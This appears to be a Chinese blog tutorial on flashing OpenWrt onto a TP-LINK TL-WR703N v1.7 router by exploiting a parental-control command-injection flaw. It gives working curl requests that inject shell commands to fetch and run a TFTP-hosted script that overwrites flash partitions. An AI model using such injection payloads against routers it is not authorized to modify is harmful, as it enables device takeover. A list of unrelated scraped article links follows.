TL-WR703Nv1.7刷写openwrt固件
2017年度全网原创IT博主评选活动投票:http://www.itbang.me/goVote/254
TP-LINK TL-WR703N是一个小型的路由器,可以有线转WiFi,3G转WiFi,很多人拿它刷openwrt系统,然后可以在上面各种搞事。
V1.7以前
通常刷openwrt的做法是,
- 下载一个openwrt factory固件
- 打开路由器,
- 笔记本连接路由器发出来的WiFi,比如:TP-LINK-90-1B-18
- 在浏览器输入192.168.1.1,选择左边“系统工具”-“软件升级”-“浏览”
- 找到刚刚下载的镜像bin文件,确定
- 然后就会自动把openwrt刷到板子里边了
V1.7以后
然而!上面的方法只有在2012年12月以前生产的WR703N上(型号在FW build 121204以前的)才有用,在之后的板子上,选择完bin文件会提示“上传的文件与硬件版本不符”,导致无法从web管理界面刷写系统!具体来讲,如果你的型号(这个在路由器管理界面可以看到)跟我的一样是3.17.1 Build 140120 Rel.56593n,那么恭喜你中奖了,只能通过下面这种方式或者TTL硬件方式刷openwrt。
原因是,2012年12月之后的系统升级,对bin文件做了RSA签名校验,无法刷第三方的系统。
一番搜索之后发现有个国外的牛人利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统,这个方法的英文版也被放到了openwrt wr703n的官方wiki上,可以说是相当靠谱了,国内有人也整理了一个中文版,但有些步骤还是不够详细,于是我整理了一个完整的版出来,让大家少踩一些坑。windows的同学可以参考这个中文版,不过里边有些链接失效了,可以参考我这篇去找对应的工具。
搭建tftp服务器
因为我们会先把镜像下载并处理好放在一个ftp服务器上,所以需要另一台电脑扮演这个角色
- 以MacOS为例,MacOS是内置了tftp服务器的,不需要另外安装,
- 默认的ftp服务器会把将
/private/tftpboot这个目录作为根目录 - 修改这个目录的权限
sudo chmod 777 /private/tftpboot
sudo chmod 777 /private/tftpboot/*
- 启动tftp服务
sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist
sudo launchctl start com.apple.tftpd
- 测试,在另一台电脑上,以Ubuntu为例,安装tftp客户端
cwh@cwh-Matrimax-PC:sudo apt-get install tftp
cwh@cwh-Matrimax-PC:~$ tftp
(to) 192.168.2.210
tftp> get aa
把Ubuntu和mac放在一个局域网里,mac的ip是192.168.2.210,在mac的/private/tftpboot目录下有一个名为aa的文件,执行get aa之后,会发现Ubuntu的home目录下多了一个aa文件,也就是文件传送成功了。
准备工具
- *Nix系统下curl,dd,都是自带的,不用下载,
- 下载busybox,这个是用来在wr703n上执行dd和reboot命令用的,默认的命令行执行不了
curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
链接有可能失效,可以谷歌搜索busybox binary download,下载mips版本的
- 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
- 将busybox, 拆开的固件i1, i2放到tftp服务器目录
/private/tfboot下
编写Hack脚本
- 进入tftp服务器目录
- 新建文件aa(很随意的一个名字),里边内容为:
cd /tmp
tftp -gl i1 192.168.1.100
tftp -gl i2 192.168.1.100
tftp -gl busybox 192.168.1.100
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
reboot -f
解释一下每行代码
cd /tmp
tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
chmod 755 busybox # 修改busybox权限以执行命令
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
reboot -f # 重启,会启动openwrt
至此,你的tftp目录下应该有4个文件:i1, i2, aa, busybox,缺一不可
Hack into TL-WR703N
这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器
【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救
首先长按reboot按钮将路由器恢复出厂设置
将tftp服务器(这里是Mac)通过WiFi的方式连接到路由器,ifconfig记住自己的ip,我的是192.168.1.100
在tftp服务器上(连接到路由器的另外一台机器也行)执行
修改密码为admin42
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
注意这里的192.168.1.1是路由器的ip地址, 这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的
- 启用家长控制(利用漏洞)
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
- 让路由器从tftp服务器下载并执行脚本
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿
进入openwrt系统
后边可以参考这位大兄弟写的教程,挺详细的了
TL-WR703Nv1.7刷写openwrt固件的更多相关文章
- 转:小白编译openwrt固件教程
原文地址 编译openwrt固件并没有想象的那么复杂,我也是个小白,以下内容是我将网络上的编译教程稍微进行了一下整合.因为我发现很多编译教程没有说明如何更改flash相关配置. 安装ubuntu, ...
- OpenWrt固件刷入后串口终端没有反应的问题
[路由器开发板硬件固件配置] MTK双频:MT7620a + MT7612e 内存:256 MB 闪存:16 MB 固件:MTK自带SDK中的OpenWrt固件(mtksdk-openwrt-2.6. ...
- 烧写uboot和openwrt固件ARxx系列
以AR9331为例. 1.用烧录器将uboot烧写到flash中 (AR9331_U-Boot_Oolite-v1-v20170713.bin) 2.登录:192.168.1.1网页烧写uboot ...
- 编译适用于TP-Link WR703N的OpenWRT固件
编译适用于TP-Link WR703N TP-Link MR11U 以及使用AR9331芯片组的单WAN/LAN复用口的路由. 注:刷机有风险,刷机需谨慎.一般情况下是不会失败的,若无法通过捅Rese ...
- debian下编译openwrt固件
参考文章:Ubuntu下编译OpenWRT固件 我买的路由器是RG100A-AA,采用了bcm63xx系列的芯片. 下载openwrt源码: svn co svn://svn.openwrt.org/ ...
- 编译个性化的openwrt固件
基本流程是:下载openwrt源码(推荐attitude adjustment版本).执行feeds更新.make menuconfig(通过配置feed.conf.default和menuconfi ...
- 为TL-WR720N编译带mentohust和njit-client的openwrt固件
openwrt的trunk版已经支持720N了.简单好多. 首先下载openwrt源码,我下的是trunk版 svn co svn://svn.openwrt.org/openwrt/trunk/ 然 ...
- 写作Openwrt固件
启动tftp软体.并设置文件夹的固件文件(Current Dircctory)和serverIP(Service interface).server指PC机.图.: ...
- 编译树莓派2代B型OpenWrt固件实现无线路由器及nodogsplash认证功能
最终功能: 无线路由器的主要功能,网口WAN接入,USB无线网卡AP热点输出,连上wifi之后跳转到认证页面,点击认证方可上网,有效时间10分钟,认证成功之后自动访问指定网址. 文章结尾有编译好的刷机 ...
随机推荐
- 变量值a交换b,b交换a....
package day01; public class Test1 { public static void main(String[] args) { //不利用其它变量时期A和B的值交换 Inte ...
- common lisp和scheme的区别
1. 在Common Lisp 眼中,一个符号的symbol-value 和symbol-function 是不一样的,而Scheme对两者不作区分.在Scheme 里面,变量只有唯一对应的值,它可以 ...
- 版本控制之四:SVN客户端重新设置帐号和密码(转)
在第一次使用TortoiseSVN从服务器CheckOut的时候,会要求输入用户名和密码,这时输入框下面有个选项是保存认证信息,如果选了这个选项,那么以后就不用每次都输入一遍用户名密码了. 不过,如果 ...
- [译]ASP.NET Core 2.0 视图引擎
问题 如何在ASP.NET Core 2.0中使用Razor引擎来创建视图? 答案 新建一个空项目,修改Startup.cs,添加MVC服务和请求中间件: public void ConfigureS ...
- 最长上升子序列(logN算法)
例如:1 7 3 5 9 4 8 一个序列,比如说a[]={1,7,3,5,9,4,8},找出它的最长上升子序列的个数,很明显是4个,可以是{1,3,5,9},{1,3,5,8}或者{1,3,4,8} ...
- css基础语法三
[]伪类选择器] 1.写法: 伪类选择器,在选择器后面,用:分隔,紧接伪类状态: eg : .a:link 2. 超链接的伪类状态: :link - 未访问状态 :visited - 已访问状态 :h ...
- gulp learning note
为啥写这一片文章呢? 主要是为了温故而知新和分享,也是为了更加促进自己的学习! 前端自动化工具很多 有grunt gulp webpack 等 这次主要分享下gulp的学习经验,让自己更好的总结 ...
- js 立即调用的函数表达式
当你声明类似function foo(){}或var foo = function(){}函数的时候,通过在后面加个括弧就可以实现自执行,例如foo(),看代码: // 因为想下面第一个声明的func ...
- phpstudy APACHE支持.htaccess以及 No input file specified解决方案
APACHE支持.htaccess以及 No input file specified解决方案 你的Apache安装文件夹conf里找到httpd.conf文件 索LoadModule rewrite ...
- Spring各jar包作用及依赖
先附spring各版本jar包下载链接http://repo.spring.io/release/org/springframework/spring/ spring.jar 是包含有完整发布模块的单 ...